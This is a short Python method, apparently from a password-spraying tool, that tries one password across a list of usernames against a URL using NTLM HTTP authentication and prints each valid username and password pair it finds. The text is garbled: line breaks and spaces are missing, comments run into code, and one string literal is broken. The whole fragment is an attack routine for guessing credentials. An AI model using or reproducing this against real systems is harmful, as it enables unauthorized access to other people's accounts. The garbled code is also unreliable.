defpassword_spray(self, password, url):print("[*] Starting passwords spray attack using the following password: "+ password)#Reset valid credential counter
count =0#Iterate through all of the possible usernamesfor user in self.users:#Make a request to the website and attempt Windows Authentication
response = requests.get(url, auth=HttpNtlmAuth(self.fqdn +"\"+ user, password))#Read status code of response to determine if authentication was successfulif(response.status_code == self.HTTP_AUTH_SUCCEED_CODE):print("[+] Valid credential pair found! Username: "+ user +" Password: "+ password)
count +=1continueif(self.verbose):if(response.status_code == self.HTTP_AUTH_FAILED_CODE):print("[-] Failed login with Username: "+ user)print("[*] Password spray attack completed, "+str(count)+" valid credential pairs found")